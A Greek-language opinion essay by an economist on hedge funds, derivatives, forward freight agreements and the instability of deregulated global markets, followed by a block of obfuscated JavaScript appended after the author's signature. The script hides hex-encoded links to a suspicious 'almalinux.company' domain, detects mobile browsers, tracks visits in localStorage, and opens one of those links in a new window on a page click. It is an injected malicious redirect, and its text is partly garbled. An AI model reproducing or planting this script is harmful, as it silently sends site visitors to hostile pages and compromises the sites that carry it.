

TA HEDGE FUNDS ΚΑΙ «ΑΛΛΟΙ ΚΑΚΟΙ»

Δεν είναι υπερβολική η διαπίστωση ότι ο ολόκληρος ο κόσμος έχει εισέλθει σε ένα κυκλώνα ανασφάλειας και αβεβαιότητας. Οι καλές και βέβαιες δεκαετίες της μεταπολεμικής «χρυσής εποχής» των σταθερών συναλλαγματικών ισοτιμιών, της ειρήνης και της διαρκούς κοινωνικής ανάπτυξης έχουν παρέλθει καθώς φαίνεται και μάλιστα ανεπίστρεπτα.

Ούτε και η διαπίστωση ότι η σημερινή δομή του παγκόσμιου οικονομικού συστήματος είναι περισσότερο ασταθής από ότι κατά τη περίοδο του ψυχρού πολέμου, είναι υπερβολική. Η απελευθέρωση των αγορών μετά το 1980 με τα reaganomics, με την κατάρρευση της ΕΣΣΔ, με τις πολιτικές φιλελευθεροποίησης της Ινδίας και Κίνας, με τις τεχνολογίες των επικοινωνιών και ηλεκτρονικών επεξεργαστών, με τις ελεύθερες συναλλαγματικές ισοτιμίες, με τα ανορθολογικά επίπεδα του leverage και άλλα πολλά ανεξέλεγκτα, ο κόσμος βρέθηκε ξαφνικά κάτω από την πείσμονα κυριαρχία των αγορών.

Όλα αυτά όμως έτσι όπως τίθενται στις καταλήξεις τους είναι ασαφή και συγκεχυμένα. Πως κυριάρχησαν οι αγορές έναντι των κρατών, γιατί υπάρχει η ανάγκη εξαγωγής κέρδους χωρίς τη μεσολάβηση του εμπορεύματος, με απλή ανταλλαγή χρημάτων, γιατί αποσπάσθηκε ο χρηματοοικονομικός τομέας από τον παραγωγικό και τέλος γιατί ο κόσμος αντιμετωπίζει περισσότερες απειλές από ποτέ όχι στρατιωτικό / πολιτικής αλλά οικονομικής φύσεως.

Η αποσαφήνιση της κατάστασης είναι δυνατή και εφικτή αν πάρουμε υπ' όψιν μας δύο βασικούς παράγοντες. Οι παράγοντες αυτοί εξηγούν τον τρόπο με τον οποίο είναι διαρθρωμένο το νέο παγκόσμιο οικονομικό σύστημα. Ο πρώτος αναφέρεται στην ικανότητα παραγωγής η οποία λόγω της απλότητας των προηγμένων τεχνολογιών έγινε απόκτημα μεγαλύτερων τμημάτων του πληθυσμού οι χώρες των οποίων μετατράπηκαν σε παραγωγικές, από πρωτοαγροτικές, όπως η Κίνα, η Ινδία, η Ταϊλάνδη, η Κορέα, κλπ, και ο δεύτερος αφορά στη δομή της παγκόσμιας αγοράς η οποία είναι διαιρεμένη σε δύο τουλάχιστον μεγάλα κομμάτια, ήτοι σε αυτό που οι κάτοικοι έχουν υπερβάλλουσα

αγοραστική δύναμη και σε εκείνο που η αγοραστική ικανότητα είναι είτε στοιχειώδης είτε ανύπαρκτη.



Ο λειτουργικός συνδυασμός αυτών των δύο παραγόντων δημιουργεί ένα παράδοξο αποτέλεσμα και μάλιστα πρωτόγνωρο για την ιστορία του καπιταλιστικού συστήματος. Στο πρώτο τμήμα της παγκόσμιας αγοράς η ζήτηση μπορεί να αυξηθεί κατά τρεις ή τέσσερις φορές από την πραγματική μέσω των τραπεζικών καταναλωτικών πιστώσεων στα νοικοκυριά ενώ στο δεύτερο τμήμα είναι αδύνατο να γίνει κάτι τέτοιο, λόγω πληθώρας αντιαναπτυξιακών παραγόντων των χωρών, όπως στην Αφρική για παράδειγμα ή σε ορισμένες χώρες της Λ. Αμερικής. Η ικανότητα για περεταίρω καπιταλιστικοποίηση του κόσμου, έχει σχεδόν εξαντληθεί. Δεν μπορούν να παραχθούν πρόσθετα κέρδη από το άνοιγμα νέων αγορών. Το σύστημα θα πρέπει να επινοήσει τρόπους ώστε να παράγει προσόδους από τον ίδιο τον εαυτό του και όχι από την ενσωμάτωση νέων περιοχών όπως έκανε στο παρελθόν. Πως όμως θα γίνει εφικτό κάτι τέτοιο με τον κλασικό τρόπο του κύκλου: επενδυμένο κεφάλαιο – παραγωγή – προσαυξημένο κεφάλαιο, όταν οι κερδοφόροι τομείς παραγωγής είναι υπέρ κορεσμένοι με φθίνουσες προσόδους; Η πρώτη λύση που βρέθηκε ήταν η μεταφορά ολόκληρων τομέων παραγωγής, κυρίως βιομηχανικής, στις περιοχές που πρόσφεραν χαμηλό κόστος εργασίας, κυρίως στην Ασία. Για δύο δεκαετίες πράγματι παρήχθησαν τεράστιες ποσότητες κερδών που όμως ήταν αδύνατον να ανακυκλωθούν παραγωγικά, με την έννοια της αξιοποίησης νέων παραγωγικών ευκαιριών. Αν η υπερβάλλουσα ρευστότητα παρέμεινε στις δεξαμενές του τραπεζικού συστήματος οπωσδήποτε θα μείωνε τις κεφαλαιακές αξίες παντού. Οι υπανάπτυκτες περιοχές δεν προσφέρονταν να «αξιοποιηθούν» παραγωγικά λόγω της απουσίας βασικών αναπτυξιακών προϋποθέσεων και διεφθαρμένων καθεστώτων και έτσι η μόνη προσφερόμενη λύση ήταν να ανακυκλώνεται η ρευστότητα μέσω της παροχής δανείων και τιτλοποιήσεων δανείων. Σ' αυτή τη διαδικασία η σχέση ρίσκου / απόδοσης έγινε ασταθής και πολύπλοκη. Περισσότερα χρηματοοικονομικά προϊόντα έπρεπε να πέσουν στην αγορά εκτός από τις κλασικές μορφές δανείων και να απορροφηθούν ώστε να επιτρέψουν στη λιμνάζουσα ρευστότητα να βρει αποτελεσματική διέξοδο. Η αβεβαιότητα όμως που εξ' ορισμού ενυπάρχει στις διαδικασίες αυτές οδήγησε στη δημιουργία της αγοράς παραγώγων. Παράγωγα κάθε τύπου αγοράς με σκοπό την αντιστάθμιση των υψηλότερων κινδύνων που εμφάνιζε η νέα χρηματοοικονομική δομή. Οι γρήγορες και πολλές φορές απρόβλεπτες αλλαγές τιμών, λόγω της τρομακτικής μεγέθυνσης της παγκοσμιοποιημένης αγοράς, σε πολλές περιπτώσεις αύξαναν τις ζημιές που καταγράφονταν στους ισολογισμούς πολλών εταιριών με καταστροφικές συνέπειες στις εταιρικές περιουσίες. Οι κίνδυνοι θα έπρεπε να αντισταθμισθούν ώστε να ελαττωθούν οι μεγάλες διακυμάνσεις των τιμών των διαφόρων αγορών. Πρέπει να υπογραμμίσουμε πως το φιλελεύθερο πνεύμα που επικρατούσε στις αγορές και στις κυβερνήσεις δεν επέτρεπε παρεμβάσεις ελέγχου και περιορισμών ούτε καν στις αγορές συναλλάγματος.

Για να δώσουμε ένα παράδειγμα που περιγράφει τις λειτουργίες των σημερινών αγορών θα πάρουμε ένα διεθνή τομέα όπως είναι αυτός της ναυτιλίας. Οι κίνδυνοι που αντιμετωπίζουν οι εφοπλιστικές και μεσιτικές εταιρίες, φωλιάζουν στις διακυμάνσεις των τιμών των ναύλων, στις ισοτιμίες των νομισμάτων, στις τιμές της αξίας των πλοίων, στις τιμές των πετρελαίων και στις τιμές των επιτοκίων. Λόγω της παγκοσμιοποίησης, οι διακυμάνσεις αυτών των παραγόντων είναι αρκετά μεγάλες τις τελευταίες δεκαετίες. Είναι δε σε θέση να επιδράσουν θετικά ή αρνητικά στα έσοδα των εταιριών, στη ρευστότητα και κατά συνέπεια στην πιστοληπτική ικανότητα της εταιρίας.

Για τη σταθεροποίηση των τιμών ή τουλάχιστον τη μείωση των διακυμάνσεων τους αναπτύχθηκαν διάφορες τεχνικές αντιστάθμισης οι οποίες θα βελτίωναν τη σχέση ρίσκου / απόδοσης. Δημιουργήθηκαν τα ναυτιλιακά παράγωγα με αξίες που συνδέονταν με το ύψος των διακυμάνσεων των τιμών των παραγόντων. Όσο μεγαλύτερο ήταν το εύρος των διακυμάνσεων τόσο μεγαλύτερη και η αξία των παραγώγων και το αντίθετο. Τα ναυτιλιακά ναυλοσύμφωνα (Forward freight agreements) είναι συμβόλαια που «κλειδώνουν» σημερινές τιμές σε μεταφορές που θα πραγματοποιηθούν στο μέλλον. Έτσι οι εταιρίες μειώνουν το κίνδυνο από τις μεταβολές των τιμών και εργάζονται σε ένα πιο ασφαλές περιβάλλον. Η πλευρά που αναλαμβάνει το ρίσκο, δηλαδή την αντιστάθμιση (

hedging

) είναι οι εταιρίες κεφαλαίων αντιστάθμισης κινδύνων, (

hedge

funds

). Όσο μεγαλώνει η διεθνής αβεβαιότητα τόσο πολλαπλασιάζονται και οι εταιρίες αυτές. Αν και είναι γνωστές εδώ και εξήντα χρόνια, μόνο τα τελευταία είκοσι έχουν αυξηθεί τρομακτικά. Σε ολόκληρο τον κόσμο υπολογίζονται σήμερα σε 12.000. Όπως είναι φυσικό οι εταιρίες αυτές αποβλέπουν στο κέρδος και το αντικείμενο τους είναι να «παίζουν» με τις διακυμάνσεις των τιμών. Ανάλογα με το συμφέρον τους τις μεγενθύνουν ή τις μειώνουν. Η ερώτηση είναι αν σε τόσο μεγάλες αγορές οι εταιρίες αυτές είναι σε θέση να επηρεάσουν προς τα πάνω ή προς τα κάτω τις διακυμάνσεις.

Θεωρητικά η απάντηση είναι πως όχι αλλά η πρόσφατη εμπειρία έχει αποδείξει ότι είναι σε θέση να επιταχύνουν ή να επιβραδύνουν τις τάσεις των διακυμάνσεων. Η επίθεση για παράδειγμα του Quantum του Σόρος στη βρετανική στερλίνα, το 1992 ή της Tiger του Τζούλιαν Ρόμπερτσον, στο δολάριο του Χόνγκ Κόνγκ κατά την ασιατική κρίση το '98, για πολλούς είναι αποδείξεις επηρεασμού και έξαρσης κερδοσκοπίας. Άλλοι έχουν καταγγείλει τις εταιρίες κάλυψης κινδύνου, όπως ο Μαχαθίρ Μωχάμεντ της Μαλαισίας, ότι συνωμοτούν σε βάρος κυβερνήσεων και λαών. Ο Σόρος από τη μεριά του απαντά πως δεν κάνει τίποτα περισσότερο από αυτό που του επιτρέπουν οι αδυναμίες του συστήματος και εκμεταλλεύεται κάθε ευκαιρία εξαγωγής κερδών όπως κάνει και κάθε άλλη εταιρία.

Τα κεφάλαια αντιστάθμισης κινδύνου όπως και οι εταιρίες ιδιωτικών επενδυτικών κεφαλαίων, (private equity fund), με τις τεχνικές που χρησιμοποιούν πολλές φορές αυξάνουν τον κίνδυνο παρά τον μειώνουν με μεγάλες ζημιές και για τις ίδιες.

Η
Long
term
capital
management

, είναι χαρακτηριστικό παράδειγμα απώλειας πολλών δις δολαρίων αν και χρησιμοποιούσε δύο νομπελίστες οικονομίας και πολύπλοκα στατιστικά μοντέλα προβλέψεων των αγορών. Τελικά η Ομοσπονδιακή Τράπεζα της Ν. Υόρκης την διέσωσε αλλά οι υποτιμητικές θέσεις που πήρε στις αγορές παραγώγων απείλησαν την εμπιστοσύνη των επενδυτών προς τις αγορές. Οι εταιρίες αυτές είναι σε θέση να διαχειριστούν τεράστια ποσά κεφαλαίων. Συνήθως όταν θέλουν να αυξήσουν τις διακυμάνσεις των τιμών ανοίγουν υποτιμητικές θέσεις δανειζόμενες μετοχές ή ό,τι άλλο, με την υπόσχεση ότι θα τις επιστρέψουν στους κατόχους με ένα μικρό κέρδος σε καθορισμένο χρονικό διάστημα και με τα έσοδα που αποκτούν από τη πώληση τους αγοράζουν σταθερότερους τίτλους ανατιμώντας τις αξίες τους. Από τις αγορές συναλλάγματος έως τις αγορές παραγώγων ο στόχος είναι οι διαφορές των τιμών των τίτλων τους να είναι πάντα θετικές.

Όπως είναι ευνόητο οι αμοιβές των διαχειριστών κεφαλαίων είναι πολύ μεγάλες. Οι επενδυτές που τους εμπιστεύονται τα κεφάλαια τους είναι μεγάλοι κεφαλαιούχοι, συνταξιοδοτικά ταμεία, θεσμικά κεφάλαια, αλλά και κράτη ακόμα. Ο έλεγχος που υπόκεινται είναι ανύπαρκτος λόγω του ότι βρίσκονται εκτός συνόρων, είναι δηλαδή κατά το πλείστον offshore εταιρίες με έδρα κρατίδια που θεωρούνται φορολογικοί παράδεισοι.

Το συμπέρασμα από όλα αυτά, είναι πως η σύγχρονη παγκόσμια διάρθρωση του συστήματος, με τις ελεύθερα κυμαινόμενες συναλλαγματικές ισοτιμίες των νομισμάτων, με το διπλό, τριπλό ή σταυροειδές carry trade, με το ακραίο leverage, με την χρηματιστηριοποίηση των τιμών των εμπορευμάτων, με την ταχύτατη μεταφορά των βραχυπρόθεσμων κεφαλαίων, με τη γεωπολιτική αστάθεια και με την απουσία λειτουργικών ελέγχων των σχετικών αγορών, έκανε έτσι ώστε να αυξηθεί το εύρος των διακυμάνσεων των τιμών, γεγονός που οδήγησε στην ανάγκη της αντιστάθμισης. Αλλά δυστυχώς η κερδοσκοπία των εταιριών κεφαλαίων αντιστάθμισης χωρίς κανόνες, μπορεί να ευνοεί τους πελάτες τους αλλά ταυτόχρονα συνιστά και απειλή για τις εθνικές οικονομίες πολλών χωρών λόγω του μεγάλου μεγέθους των κεφαλαίων που διαχειρίζονται. Πολλές δε από αυτές αποτελούν θυγατρικές πιστωτικών ομίλων ή ασφαλιστικών πολυεθνικών με πελάτες συνταξιοδοτικά ταμεία, επενδυτικές μικρές τράπεζες, απλούς καταθέτες, κλπ, δημιουργώντας ένα πλέγμα συμφερόντων που είναι πολύ δύσκολο να απομονωθεί, όταν και αν θα ήθελαν οι κυβερνήσεις να ασκήσουν έλεγχο λειτουργιών. Φωνές για έλεγχο

ακούγονται κατά καιρούς από το Ευρωπαϊκό Σοσιαλιστικό κόμμα, από τη κυβέρνηση του Μπαράκ Ομπάμα, αλλά όσο ο νεοφιλελευθερισμός κυριαρχεί στον υπόλοιπο κόσμο, οι φωνές αυτές θα μετατρέπονται μάλλον σε ανίσχυρες εκκλήσεις.

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός / Συγγραφέας

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
substr,_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
```

```

t_0x129862=![];return
function(_0x784bdc){((android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|el
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>[_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)

```

```
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```